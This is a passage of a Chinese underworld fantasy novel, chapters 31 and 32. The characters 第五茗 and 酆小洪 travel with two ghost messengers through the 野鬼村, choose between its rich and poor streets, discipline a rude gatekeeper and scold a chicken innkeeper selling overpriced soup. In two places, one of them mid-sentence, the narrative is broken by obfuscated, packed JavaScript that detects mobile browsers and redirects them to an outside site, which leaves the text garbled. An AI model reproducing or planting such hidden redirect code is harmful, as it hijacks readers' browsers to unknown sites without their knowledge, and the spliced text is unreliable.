她正歪头挑眉,若有深意地看着酆小洪,好似在说:看你们泰山仙君干的好事,我的寻仇大计,毁了。 莞尔,酆小洪道:“真龙不真龙,入了凡间也不过是一魂。至于铁蛋,来日又是金鸡山上的铁公鸡,有的是机会再见。” 其他三人不明酆小洪的话是对第五茗说的,以为是酆小洪在调侃司仓太子,心思各异。 热情无常心里鄙夷:司仓太子心眼小,你这小鬼心眼子也不大嘛。 埭桡则眼含羡慕,心中感叹:做泰山上的仙君就是好,能力大,脾气也可以大。 埭骰则是虎头虎脑些,心有疑惑:酆小洪和司仓太子有仇?铁公鸡于他有恩?怎么帮着铁公鸡讲话呢?和小明一样,有点不一般啊。 时辰不早了,他们闲聊期间,周围路过了一队又一队在金鸡山赶路的幽魂和勾魂使者,他们均是诧异此地无铁公鸡啄魂,复而因阴风寒冷,抱紧双臂,埋头赶路。 赶路的同时,他们路过站在山脚闲聊的几人身旁时,总要莫名其妙地投来几眼。 那热情无常押送的小鬼,命格寡淡,生性无味,对什么都不感兴趣,最烦吵吵闹闹。 被热情无常拉停脚步后,呆站在一旁许久,听着几人吹牛起哄,阴风又直灌他身躯,他抱紧双臂哆哆嗦嗦发抖,有些忍不住,催道:“无常官大人,我们这批鬼不是急着入鬼门关吗?我们要一直停在这里吗?可以继续送我上路吗?一同来的,都走出这条道了。” 八卦声戛然而止,站立的众人面面相觑。 那热情无常姗姗道:“哈哈哈哈,倒是把要紧事忘了,天色都暗了,风大气阴,确实应该继续赶路,停在这里对鬼身不好。” 朝面前的埭骰埭桡见礼后,他亲切道:“我们先走一步,二位可以多关注关注通冥牌,你们看着是好相处的,以后遇见了,得空一起去前面野鬼村喝一杯啊。” 埭桡道:“好的,有空再约。” 难得遇见热情的同僚,埭骰道:“鬼生漫长,来日再约。” 那一鬼一无常离开后,酆小洪也催促道:“此地不宜久留,上路吧。” 他担忧地挪动脚步,靠近第五茗散出身上的热气,逼走四周的阴风。 埭骰埭桡依旧在前方开路,第五茗和酆小洪跟在二人身后,齐齐向前方野鬼村出发。 第五茗小声询问道:“仙君可知?那九天采访使真的是泰山东岳帝君的飞升前的好友吗?” 酆小洪点头,沉吟道:“嗯。” 第五茗锲而不舍,追问道:“仙君同她相熟吗?” 这一问,让酆小洪思虑了一番,才作答道:“以前熟稔,现在…不知道。” 第五茗分析道:“也是哈,仙君如今刚历劫归来,自然不知道天界星君是何种想法,但以前熟稔,想来多见见面,自然就又会熟络了。” 还未等酆小洪细问第五茗为什么会突然问起此事,第五茗就一脸谄媚道:“仙君日后和九天采访使相熟了,也介绍给我认识认识…她和冥界地府的新任东岳帝君相熟,我在地下叨扰这么久,自然也得寻着机会,在帝君面前露露脸,别他一高兴,想起我来,就万事不太吉了。” 原来是她想起酆小洪方才那句,“现在的形势,天帝应该巴不得送上一半的仙君从冥界走一遭”,她觉着,这新任东岳帝君绝对有动作,还是针对天界的,若到时候,新任东岳帝君再一个情绪波动,想起清理滞留冥界不返天界的仙君,随意把那些本子划了,她好日子岂不是就到头了。 她的这些心事,酆小洪一眼就看穿了。 酆小洪明眸笑道:“不会,上君多虑了,不用托人去拜访。” 第五茗道:“什么意思?” 迟疑片刻,她又问道:“你清楚泰山仙府的安排?难道你是东岳帝君身边的仙侍?” 看了两眼酆小洪,她自我否定,摇摇头,指向前面越来越清晰的野鬼村,讨好道:“仙君大度些,不管帝君是何做派,你帮我同九天采访使牵牵线,前方野鬼村,我请仙君饮最好的茶酒,吃最好的佳肴,怎么样?” 一两句话解释不清楚,酆小洪只能先暂时同意道:“好,到了野鬼村,再同上君细说。” 有了酆小洪的支持,第五茗喜悦道:“仙君够义气!” 高兴之余,她不忘复述道:“到了野鬼村,我们慢慢细聊,好好地聊。” 低头扯了扯衣裙,她又嘟囔了一句,道:“这身碍眼的衣服,也得先紧着换了。” 穿过重重高山,四人到了一村子入口,路口上有一道木质栅门,顶上除了枯枝黄草,还挂着几副魂幡和白骨,门的右前方,三丈距离处,有一半身高的石碑,刻着三字「野鬼村」。 31. 阴间鬼魂必走路3 排头的埭桡见着石碑,高兴道:“到了,我们到野鬼村了。” 他拉着埭骰就朝木门处走去,还是埭骰提醒道:“野鬼村内有岔路,等小明他们走近了,我们再一起进吧。” 埭桡停了下来,同意道:“也好,走散了指不定又生事端。” 路上,鬼影不算少,第五茗身旁,擦着她的肩膀,跌撞挪动过一位肥硕富油的男子,他从袖口掏出一叠冥钱,扔进身旁的黑无常怀里,指着石碑,满头大汗道:“爷问你,你说的可是这里能歇脚?” 有钱能使鬼推磨,他这一路有所求,有所问,都会先扔一把钱出去。 倒是好使得很,引路的无常收了钱,先替富绅男鬼向第五茗致歉,声音不小道:“上君莫介意,他天生如此,若有冲撞,我替他赔不是。” 上君? 埭桡疑惑,这称呼好像在哪里听到过。 对于鬼差与第五茗熟络这件事,埭骰也十分好奇,自问自语道:“上君?那位同僚认识小明?” 二人却站在村子口,没有上前询问,仔细瞧着石碑前越积越多的鬼影,慌乱中,还要侧身避让入木门不停赶路的鬼影。 石碑前,第五茗摆手,一脸狡黠道:“无事,我看那位老哥就是太累了,脚下才走不稳,你们先行,若是想休息,野鬼村的迷魂店零号还算配得上这位老哥。” 话中之意,那黑无常又怎么会不清楚呢。 左右逢源他,转身谦卑回答富绅男鬼的话,道:“ ‘人’字街,鬼魂行,繁华似锦,包藏祸心,一买一卖,鬼市交易,替身把路行。还请您跟我去‘人’字街左腿子道,里面有店,可打尖,可住店,还有奇珍异宝,若是寻得一两样,对了十殿的心,轮回路上,您总是又要在多轻松几分了。” 富绅鬼一手撑在石碑上,半个身子依靠,空出另一只手,又从袖口掏出一叠冥钱扔进黑无常怀里,空了手,才伸出一根戴了两枚玉石戒的食指,指向路上的木门,道:“爷要奇珍异宝有何用,爷有的是宝贝,爷要的是喝水!!休息!!!” 那富绅男鬼想了想,又补充道:“能吃饭睡觉是最好!!爷有的是钱,你安排一家最好的。” 黑无常偷看了一眼第五茗,浅笑道:“是,野鬼村迷魂店零号,是这条路上最好的歇脚店,也是最适合您的地方。” 富绅男鬼催促道:“带路带路…” 说罢,不等黑无常领路,他先一步朝木门处走去。 黑无常脚下跟上,嘴上劝道:“您慢一点,这段路和前面的不一样,需我领着您走,当心误入了右腿子道。” 置若罔闻,富绅男鬼摇摇晃晃,一肩撞一鬼,把站在门口等候第五茗的埭骰埭桡撞倒在地。 埭骰埭桡正准备将无理小鬼教训一顿,随后而到的黑无常赶在二人破口大骂前,将他二人从地上扶了起来,赔礼道:“对不住了,对不住了。” 门内,洒出一把冥钱,引得门外小鬼哄抢,接着,木门里幽幽传来一粗喘声音,那富绅男鬼道:“爷给他们钱,你别在后面磨蹭了,你不是说要在前面给爷领路吗?还不快点!” 黑无常嘴里说着“对不住”,脚下不敢停歇,入了木门。 埭骰不满道:“这什么鬼!太没德行了!!” 富绅男鬼已没了身影,黑无常也消失在了门口,埭桡无奈咽了胸中怒火,捡起地上两张冥钱。 百两的面额!! 他一共捡了二百两… 再多的怨气积压于胸口,也在因为看见这么多银钱时,烟消云散了。 可惜,抛洒而出的一把冥钱,埭桡只捡到了两张,其他早被其他小鬼收入怀中。 他分出一张,扬在埭骰面前,不甘道:“能是什么鬼,福鬼呗。他给你送财,你就收着,挣点银钱不容易,你不是还想娶女鬼吗?” 埭骰瞄了一眼远处,收下了埭桡递过来的那张钱,道:“对,做鬼了,就不应该和钱计较。” 而石碑处,第五茗‘礼让’了富绅后,面上喜悦,自言自语了句“发财了”,便和酆小洪顺着鬼影流动,快步朝木门而奔,和埭骰埭桡汇合。 如黑无常所言,野鬼村内是一条‘人’字街。 街道分为‘人头’和‘人身’。 人头路汇人流,人身路分人流。 人头路其实是一条再普通不过的街道,一些游魂散鬼在此处叫卖。 其中绝大部分游走商贩是凡间来的人魂,他们命数暂停,滞留在此地,闲着无所事事,就向上供奉了点东西,开始卖一些能方便携带的小玩意。 像幽魂只能闻不能吃的人间糖葫芦,男鬼女鬼和毛发旺盛的兽魂可以梳妆的鱼骨头,以及装了鬼火的花灯笼…贪恋人间的小鬼,会在这里买上一两样,带入鬼门关留作念想。 第五茗四人对人头路的东西都不太感兴趣,所以一路走来,只觉得吵闹,专心朝人身路而行。 人头路上,那唯一叫卖糖葫芦的,是个身材纤瘦的鬼男子, 他的腿,异常的长,穿梭在鬼挤鬼的人头路里,行动格外自如。 第五茗一行人还没走到人头与人身的交界处,他又一次从他们身边经过,就在人头路尽头,第五茗一行人又再一次看见了他。 居然,有一无常正在找他买糖葫芦。 无常来返于人鬼之间,可以去人界,也能在冥界畅通无阻,按理说是最不稀罕人头道里的东西。 见状,第五茗笑道:“这几年小鬼的生意是越来越好做了,连无常都愿意在地下买糖葫芦。” 那无常拿了糖葫芦,转身入了人身路的右腿子道。 第五茗一行人走上前,正好听见鬼男子朝无常离去的地方,热忱道:“仙者下次来,还是在这里吗?我就在人头路尽头等您?您放心我一定会把核少肉多,果最大的给您留着。” 都知道,野鬼村的交易,都是一次性的,哪有什么回头客。 这拉熟客的话,却在人头道,这些人魂小鬼嘴里,此起彼伏。 本以为腿长的鬼男子是一个有趣的小鬼,闻言,第五茗摇摇头,迈出‘人头’。 到此处,便是人身路了。 鬼影开始分为两股,一股大部队,踏入离鬼门关最近的右腿子道,剩下的几道鬼影,走了左腿子道。 光从入两条道路的鬼来说,他们的穿着就有很大的区别。 右腿子道,多是破布褴褛,素挽发髻,没有金银首饰的贫穷苦难人;左腿子道,则多为锦衣华服,穿金戴银,使钱阔绰的富绅豪贵。 不用心生怜悯。 死后钱财能分人,多半是上世命格簿子中的功德业力所致。 当然,也有例外。 但那些都是少之又少… 比如像第五茗这种,受万年衰运影响,命格簿子被他人刻意撰写,自然是一辈子也别想有富贵命。 另外,还可以从左腿子道和右腿子道的入口来说,也是有区别的。 左腿子道,不同于右腿子道,它多一鬼差看守。 经常有仙妖来冥界地府行事,都会到左腿子道落榻休息,所以这条道,特意派了一名鬼差看守入口。 这么看来,在左腿子道上,富绅豪贵也就不是什么香饽饽,亦不是那稀而缺之的贵客,是以,更别提那穿着普通寒酸的幽魂。 埭骰埭桡自然而然地朝右腿子道拐去。 埭桡扬高声音,好心提醒身后两人,道:“不知道你们听没听说过‘‘人’字街,鬼魂行,繁华似锦,包藏祸心,一买一卖,鬼市交易,替身把路行。’这首歌谣,听说都是人身路右腿子道里的事。” “传闻野狗金鸡咬碎的残魂会聚集在这里,他们因魂魄残缺,命数被迫暂停,做着「找替身」的买卖。” “他们挖出眼睛,切掉鼻子,斩断手和脚,炼制成宝贝,诱惑小鬼前去交易,交易成功,魂体交换,买东西的小鬼会代替残魂的命数留在那里。” 挨他最近的埭骰,最先搭话道:“真的吗?我们来过两次了,我怎么不知道?路上是有些缺胳膊少腿的小鬼,他们真的在…谁?” 明明还没进左腿子道,却有东西在扯动埭骰的袖口。 他汗毛耸立,惊叫出口。 除了他,埭桡的袖子也被人扯住。 二人只能转回身,回头,才发现是第五茗拉住了他们,纷纷心中松了一口气。 第五茗不解道:“怎么了?你们…被我吓着了?” 埭骰挺胸道:“没有,没有,哪有的事。” 埭桡理智还在,问道:“有什么事吗?” 抬起袖子,示意第五茗拉住袖子的手,他继续道:“你让我们兄弟二人停下来,是有什么事吗?” 第五茗朝左腿子道口站着的酆小洪看去,对拉住的这二人示意道:“我们不走右腿子道,去左腿子道休息一晚。” 埭桡收回无常袍袖子,摆了摆,道:“没钱。” 埭骰犹犹豫豫,从怀中掏出那张埭桡给的百银冥钱,道:“我身上目前只有这么多,估计一家店都入不了。小明…右腿子道离鬼门关近,我们走这边快一些。” 拿了埭骰手中的银钱,第五茗道:“没事,这些够了,我有相熟的店。” 埭骰还想说点什么,第五茗没给机会,她话不断话,一手扶一手抬,把右手的大红衣袖奉了上来,纠结道:“这身衣服着实别扭,右腿子道都是些坑蒙拐骗的恶魂,若是我去那道上买了东西,做了替身,留了下来,两位大哥不就是戕害了一具好人家的小鬼吗?” 歌谣的事,埭桡只当是传闻,毕竟他知道的和埭骰知道的差不了多少,想起右腿子道上,路边枯树桩后坐卖的小鬼,他心有余悸,不安道:“真有「找替身」的买卖?” 第五茗点点头道:“有的,不然你当他们的东西哪里来的。” 说着,声音放缓,身体前倾,她眯眼低语道:“自然是分了身体,用禁术练出来的。” 三人身边,不少幽魂和勾魂使者走入右腿子道,埭骰不确信道:“为何绝大数小鬼还是走这条路呢?” 回正身子,第五茗摊手道:“没能力啊,有能力…谁不想入左腿子道呢?埭骰大哥你说是吧。” 埭骰点头赞同,道:“嗯,小明说的有道理。” 第五茗道:“所以,二位大哥快把脚从路上收回来吧,我们去左腿子道。” 酆小洪等在左腿子道路口并没有生出不耐烦,倒是那守道的鬼差,见酆小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547209|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洪衣着‘吉利’喜服,一副寻常小鬼模样,在入口站了许久也没有出手打点,倒是有些急躁,左挤右挤,将酆小洪从原定位置,挤到了路边,不仅如此,还手握干果,一边吃一边朝酆小洪脚边吐核。 比起右腿子道入口的鬼影重重,左腿子道空荡荡的,领着埭骰埭桡过来,第五茗等人正好看见,空空的入口处,酆小洪望着他们这边,眉头微皱,脚下移动躲避,楚楚可怜。 楚楚可怜?怕是看花了眼,第五茗心疼了守道鬼差一分,知道他大难临头了,转头朝埭骰埭桡嘱咐道:“两位大哥,我快走一步,你们跟上啊。” 说完,立马回头,第五茗朝左腿子道路口,呵斥道:“福双!!你干什么呢!!!” 守道鬼差叫福双,取自福寿双全。 而他却死于十九岁,因救落水的九十岁老人,水草和他从小就束绑的红色发带缠在了一起,一圈一圈,水草和发带绕在了他脖子上,把他活活在水里勒死了。 那红色发带吸了他的血,得了他的命,成了有点邪气的宝贝。 反正都死了,福双就将那‘宝贝’发带留了下来,日日绑束他高高的马尾。只是长长的带子,总是会在脖子处绕上几圈,主动替他遮掩那隐不掉的勒痕。 福双听见有人叫他,回头,脖子上的红色发带也跟着转动,飘逸在面前,覆在了眼皮子上,他一手抓下,再抬眼,叫唤他的人,却已经走到了他跟前。 福双扔掉手中的干果,吐掉嘴里剩余的果肉,行礼道:“见过上君。” 第五茗眼底起色,暗示福双,道:“你刚刚在做什么呢!吐东西也不看着点,差点弄脏了仙君的衣衫。” 福无双至,祸不单行。 福双今日刚从上官处领了差,待命在左腿子道入口,仔细着,准备迎接一批贵客。他特意在回来前,和鬼门关的牛头马面一起洗漱了一番,谁曾想,他因而错过了一位富贵流油的小鬼,正自认倒霉呢,现在又居然冲撞了一位仙君。 真真是要了鬼命啊! 福双眼神闪躲,看了看酆小洪,哭喊道:“小的有眼不识泰山,还望仙君大人有大量,不和小的一般见识。” 作势,福双就要跪倒在地,第五茗扶了一把,悄声道:“仙君有任务在身,切莫太过张扬。” 酆小洪走上前来,站在第五茗身旁,道:“的确不宜张扬,你叫福双?” 福双点了点头,“嗯”了一声。 酆小洪悠悠道:“你随我来你刚刚吐核的地方。” 收了眼泪,直起腰身,福双跟着酆小洪朝案发地而去,刚到,酆小洪就吩咐道:“把果核捡起来。” 福双道:“是。” 他乖乖认命,蹲了下去,一个一个的拾起才吐出口中没多久的果核。 酆小洪的声音从福双头顶传来,道:“边上还有,走过去捡。” 那处杂物遮掩,光线昏暗,小鬼和鬼差不常走到此地,福双刚刚也没有朝那方吐过核,但细细一看,的确有一粒果核。 来不及多想,福双未敢犹豫,又道:“是。” 走向旁边… “砰”! 红色发带飘扬,包裹着一颗果核,滚落在地。 酆小洪从上面迈过,道:“身居官位,应当自谦,心性太过浮躁,不当重任。好好反省吧…” 那红色发带包果核,受到酆小洪脚下风的影响,滚到了人身路中间。 第五茗笑着走过来,道:“仙君会不会罚得重了点,这里鬼来鬼往,让他滚落到路中被鬼踩踏,不太好吧?” 酆小洪反问道:“上君受了这人的好?” 贪贿之事,第五茗最是不耻,厉声严词,道:“怎会!我在仙君眼中是这种人?我经常从这里路过,久而久之就认识了,见相熟的人犯事,难免忍不住帮帮忙。” 酆小洪道:“不是,上君别多想,我不是那个意思…我知上君心善,总对小鬼柔心,但此人还当不得。” 他望了第五茗一眼,继而解释道:“冥界地府近日会有一些外界人住进野鬼村,他看守此处,算是重任,可他行事轻浮,守任此位,却放任不管的话,会有些不妥。” 第五茗呼出一口气道:“哦,原来如此。还以为仙君是准备挟私报复。” 换做酆小洪目瞪口呆,问出了刚才第五茗才问过的话,他自嘲道:“原来,我在上君眼中是这种人。” 一不小心把心里话说了出来,但又没有说全,第五茗慌张改口道:“不是的,你别误会,我不是那种意思…你…” 赶来的埭骰插话道:“怎么了?出什么事了吗?守道鬼差呢?” 第五茗垂头叹气,道:“没有…守道鬼差福双近日有事,方才匆匆离开了,让我们自行进入。” 已经错失了向酆小洪解释的时机,第五茗又想到,还剩一程路他们就该分道扬镳了,好像此处的误会不解也没有什么关系。 抬脚,第五茗目光暗了两分,先迈入了左腿子道。 埭骰埭桡兴致勃勃跟随而入,可眼前之景却叫他们失望了大半。 那是条,一眼望到头的街道,熙熙攘攘,张灯结彩,整齐划一。 毫无二致… 如出一辙! 32. 左腿子道迷魂店1 相较于右腿子道上,占据道路两旁枯木树桩陈设商品贩卖的小鬼摊贩,左腿子道上的店掌柜,就要体面得多。 他们都有一间店铺。 有且只有一间店铺… 初入左腿子道的小鬼,总是要糊里糊涂一阵,原是里面的店铺,从街道上,向两边看来,都是一模一样,叫人不分清楚。 一样的六阶入门梯,一样的两根门前柱,一样的山墙斜坡瓦片顶,一样的只开半扇门扉的店铺,一样的铺面以外不招买卖,一样制式的牌匾…以及一样的店名「迷魂店」。 唯一不同,就是牌匾上,店名右下方的编号。 三十七号,三十六号,三十五号…十一号…零号。 埭骰埭桡的反应,第五茗看在眼里,他们像极了那些初入左腿子道的小鬼,倒是酆小洪喜忧未露,看起来仿若一位来过此地的老主顾。 第五茗笑道:“埭骰、埭桡大哥第一次来,有所不知,左腿子道上的店看着一样,但乾坤都在屋内,透过那半扇开着的门扉,你们再仔细瞧瞧。” 听了第五茗的话,埭骰埭桡齐齐转头看向左侧,移动身子,从门扉瞧了进去。 店内,一位儒雅夫人坐在屋中,手中捏着一段金线,正在编制一副钗寰,而夫人的左右、背后,还陈列着各式各样,闪着光泽的金器。 左腿子道,入口左边第一家店铺——迷魂店三十七号,它是一家专门卖金器的。 店掌柜生前有一双巧手,到了地下,机缘巧合,在这里开了一家金器铺子,收购过往小鬼手中的金子,锻造掐丝,制成美轮美奂的饰品器皿,进行售卖。 屋内,的确大有名堂。 埭桡叹道:“好漂亮…这么好的东西,若是能在店外也招揽一二,小鬼们定然趋之若鹜。” 第五茗摇头,无奈道:“埭桡大哥有所不知,起初店名也是五花八门,奈何这条街的督造是迷魂店零号的大掌柜,那家掌柜在野鬼村的权利大啊…可她呀,常常不在野鬼村活动,迷魂店零号生意越来越惨淡,那家店的小掌柜就给大掌柜出了一个主意,设了上面的条例,让大家都在同一起点,过往的小鬼则以店内买卖做评判,来选择交易的店铺。” 第五茗也同埭骰埭桡一样,倾身看向迷魂店三十七号,适逢屋内夫人小作休憩,对方抬头望外,正好和她对视一眼。 夫人嘴唇动了动,第五茗读出对方口中的意思,腼腆地把头转向了其他方向,夫人面含笑容,不再相劝,又把头垂了回去,继续编制钗寰。 两人动作,酆小洪瞧了个一干二净,第五茗转头的瞬间好巧不巧,将视线撞上了酆小洪。 酆小洪嘴角噙笑,眼含深意,挑起一边眉,嘴唇张了张,不出声道:“那夫人好像在邀小掌柜入店内坐坐…” 二人之间,入左腿子道时的不愉快,瞬间,烟消云散。 第五茗如遭雷击,怔了怔,尴尬转身,装作没看见,她脸颊燥热,心里更多是恶作剧未成功,遭遇揭穿的羞耻感。 而另一旁,还在惋惜的埭骰埭桡也回了身,望着面前看起来枯燥无聊的一条街,齐齐抽搐道:“原来如此…” 埭桡道:“都是因为这大掌柜…” 埭骰道:“还有那小掌柜…” 埭桡道:“仗权而行。” 埭骰补刀道:“鬼心不善!” 二人忍不住,又看了眼迷魂店三十七号。 可是,他二人越看越觉得,那大掌柜和小掌柜或许做了一件好事? 荣华富贵,各凭本事。 一样的外表,好像也不怎么不妨碍他们铺内售卖… 统一的管理后,店掌柜们还可以只花心思在售卖的物品和店铺内景的制造,更加专注自家东西。 埭骰埭桡嘴中又开始连连称叹,道:“哎…想来如此,店掌柜才能做出这样好的东西。” 埭桡道:“比起拉客进店,这样小鬼只走一回,也能买上好东西。” 埭骰道:“或许是吧…” 二人说着讨论着,眼中好奇,转头又一起看向右边第一家——迷魂店三十六号,那同样也是位手艺人,店内是和迷魂店三十七号一样,四四方方的空间,左右背后都有陈列架子,上面挂着裁缝好的衣衫,做工瞧着比人间京都的款式,有过之而无不及。 一路走,一路看…还有卖鞋的,盘发的,洗脚的,描妆的,卖水的,卖酒的,卖香纸的… 他们都在店内忙着,专注手上的东西。 店掌柜也不再只有人魂,像盘发的那家,就是位蜘蛛身、人手脚的兽魂,还有洗脚的店铺,里面是成群结队的人头小鱼,他们在店内挖出的池子里,穿梭于入店客人的脚下。 走了有一会儿,本来该在前面引路的无常,已落在第五茗和酆小洪身后。 埭骰埭桡惊叹声接连不断,亦步亦趋,一步三回头,快要走到左腿子道的尽头了,他们才看见像是可以休憩的客栈。 这家店,门扉的一半位置,被架了大铁锅的一口灶占据,锅中水纹不动,浮了层黄白色的漂浮物,一块一块的,阴风一吹,那层东西一起向锅壁撞去,软软的,也不散,慢慢荡回锅中间。 另一半门扉,还能看见屋内有堂,堂内放了竹筒制成的桌椅板凳,里面三三两两的坐着一些幽魂和鬼差,手中拿着竹筷,在面前大碗里捞了捞,没捞出来东西,就捧着大碗,咕咚咕咚地大口喝着。 他们喝完“哇”地赞叹了一声,又闷头在大碗中,啜饮。 一道尖锐的声音,从门扉后传出,道:“客官里面请啊,迷魂店四号,有冥界地府最香甜可口的鸡汤,入店品尝一二,还可以在小店住上一晚,鸡汤能让你晚间美梦不断。” ‘噗通’一声,一只半人高的大母鸡,跳进了门扉处的大锅里,她抬起一只鸡爪,在灶台上敲了敲,灶下绿幽幽烧起一股大火,水面瞬间弥漫出雾气,飘出门扉,在鸡爪的煽动下,朝门口站着的第五茗等四人,铺面而来。 埭骰埭桡先闻着味。 嗅了嗅,埭骰道:“好香啊~” 一旁沉迷闻味的埭桡,痴痴道:“真的是鸡汤哎…” 倒是酆小洪,在水雾靠近的时候,用袖做扇,拂扫走了那片水雾和那股气味。 他另一只手,也没闲着,抬起来,挡在了第五茗面前,替第五茗一并遮住了鸡掌柜的‘热情’。 味道还是淡淡地传入了第五茗鼻中,她朝身后看了眼,牌匾上赫然写着「迷魂店三号」,抚平心绪,确认面前就是迷魂店四号,她还没把酆小洪的袖面推开,鸡掌柜尖锐的声音,又吆喝道:“特色鸡汤,暖你心神,加上送入住一晚,美梦成真,现在只要五千冥钱。” 五千冥钱!埭骰心驰神往的脚,缩了回来,连带埭桡,在听见这个价格时,也从鸡汤的沉迷中,醒了过来。 啪~ 一把推开酆小洪的手臂,第五茗朝门扉里喊道:“姬小鸡!!你又违规了!!!” 锅中的大母鸡探出身子和脑袋,四处张望,道:“谁?谁又在多管闲事?” 第五茗上前一步,从埭骰埭桡中间挤了出去,漏出身影,对峙道:“你那一锅冰火熬出来的冷鸡汤,味儿都跑到街上来了,你!姬小鸡!!又在违规揽客!!!” 姬小鸡看清来人,红衣,神颜,姿态轻松, 司命? 她惊慌喊道:“上君?你…你怎么这么快又回来了?” ‘噗通’一声,姬小鸡跌回了汤水里,悄咪咪探出一只鸡爪,在灶台边缘扣了两下,熄灭幽火,在把爪子缩回去的时候,又捞了一把面上的浮油盖在头上。 是的。 这只大母鸡就是迷魂店四号的掌柜,她家的母鸡汤,是她冰火冷水煮自己,熬出来的。 姬小鸡收敛了动作,第五名满意地拍了拍手,告诫道:“你若是再有下一次,你的迷魂店四号就别想开了。” 姬小鸡在鸡汤里,咕咕冒泡,道:“上君,没有下一次了,我以后老老实实靠我的鸡圈挣钱,还不行吗?” 鸡圈? 埭骰埭桡听得一头雾水,鸡圈也能挣钱? 仔细往里瞧,就能看见,屋内堂周围的竹架子,不是简单的装饰。 四四方方,水井口一样宽的竹筐,就是姬小鸡口中的鸡圈,而每个鸡圈里还放了东西。 正好,有小鬼喝了汤,放下碗后,心满意足抹抹嘴,走到一面墙的竹架子旁边,拖出鸡圈里面的瓦罐,歘地一下,变成一缕烟,钻进了瓦罐里。 瓦罐里面嗡嗡传来一句叮嘱,道:“姬掌柜,记得夜半时分叫我起床,我要去晒月光。” 姬小鸡还不敢露头,在汤里冒着泡,尖着嗓子道:“知道了,您就好好在尸瓮里睡一觉,做一个美梦,我一定准时叫你起床。” 瓦罐实为尸瓮。 在人界,只要能封口的罐子都能拿来做尸瓮。 而尸瓮呢,是他们用来装‘尸体’的,像有些地方实行火葬,烧到最后只剩一把灰,就可以拿罐子装;再有那些客死异乡的人,只能送回一点尸块,或是一点残骨,他们也会用一个能封口的罐子来装;再有一些地方习俗,喜欢将尸体弄碎,装在罐子里进行下葬… 诸如此类,久而久之,大家就统一把装‘死人’的罐子称为尸瓮。 在地下,幽魂可化烟,烟被阴风一吹,又会四处飘散,尸瓮到了地下,则刚好成了幽魂休憩的一身床,能防止阴风吹散身体。 有些时候,尸瓮埋在地下深处,淬炼出了内境,如城隍茶壶和玉瓶一样,它的内境空间变得异常大,鬼差们若是遇见人间有战事,亦会常常会带着有内境的尸瓮去索魂。 总而言之,对于冥界地府来说,尸瓮很常见,尸瓮的作用又很大,其中最大作用就是用来装鬼。 姬小鸡的鸡爪子一抬,那尸瓮,慢慢挪回了竹架子上。 第五茗也没真想为难姬小鸡,在姬小鸡缩回鸡汤里时,她就准备离开了,但耐不住刚到这里的埭骰埭桡,对此稀罕异常。 对脚下拔不动的二人,第五茗劝道:“姬小鸡家的鸡汤最好不要喝,万年馊水,还是冷的,虽说喝了以后可以昏昏欲仙,但这种不健康的东西,喝了伤身,更别说她价格太黑心了,让人住鸡圈,给喝一碗汤,就卖五千冥钱,若是不小心上瘾了,还得在她这里倾家荡产。” 空气中鸡汤味越来越淡,渐渐地只在迷魂店四号内飘荡,埭桡不受味道诱惑,其实心里也不是那么痴想,他倏地想起另一件事。在野鬼村村子口时,他就心有疑惑,现下那问题猛然涌入脑中,忍不住,他侧身向第五茗,问道:“这一路,我听他们都叫你上君,蒲小明你…” 话没言尽,埭桡做出邀请,在酆小洪和埭骰的注视下,让第五茗朝迷魂店三号走了数步,离其他两人远了一些,他才继续小声道:“酆小洪是泰山上的仙君,那…你是哪方的仙君?” 问出口后,也不等第五茗答话,埭桡先一吐心中疑惑,碎碎道:“我瞧着…你和酆小洪同其他仙君还是有些区别的,其他仙君我和埭骰偷偷瞧过,身上闪着小鬼都怕的金光,可你们二人身上什么也没有,连土地和城隍身上那种淡淡的金辉也没有…酸楂上官让我们兄弟二人莫要招惹你们,埭骰虽然脑不过心,总不记得,但这话我一直放心上的。 顿了顿,他羞怯道:“路上出了这么多事,我能看出来,你心好,在去平安村的路上,还特意好心点过我,可上君这称呼,总觉得不像是一个普通小鬼能有的,你…可也是哪方的仙君?” 第五茗明显吃了一惊,叹笑道:“你不知道我是谁?” 埭桡摇头道:“不知道。” 第五茗嬉笑道:“难怪,我就说嘛,这一路,你和埭骰大哥的做派,很特别…” 埭桡疑虑道:“特别?” 第五茗点点头道:“特别好,一点都不怕我,也挺有耐心的,我很喜欢啊。” “?” 埭桡一头雾水,便听见第五茗大笑道:“哈哈哈哈,我名号挺响亮的,埭桡大哥,你可以和埭骰大哥一起,多听听金鸡山那位热情无常大哥的话,没事多留意留意通冥牌内的消息。” 埭桡听得糊里糊涂,道:“通冥牌?” 啊! 对了… 「上君」这个称呼,好像第一次听见,就是在通冥牌内!! 蒲小明果然也是位了不起的仙君!!! 眼神闪躲,眉头都快挤在一起了,埭桡颤颤巍巍道:“我们兄弟二人这一路上,可有得罪上君的地方?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547210|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 埭桡对她客气起来,竟让第五茗一时愣住了,她舔唇尬笑道:“没有没有,埭桡大哥不必紧张,和先前一样就好了,还没入鬼门关,我现在仍是人魂身,一路还得仰仗你和埭骰大哥,你还是叫我蒲小明吧。” 埭桡明显回不到先前的松弛了,他重重点了点头,道:“嗯,好。” 第五茗拍了拍埭桡小臂,见对方身子绷得更紧,扒上他肩膀,宽慰道:“埭桡大哥放松点,过了野鬼村就是鬼门关了,不要紧张,这一程快结束了。” 说罢,第五茗朝酆小洪和埭骰招手,示意继续赶路。 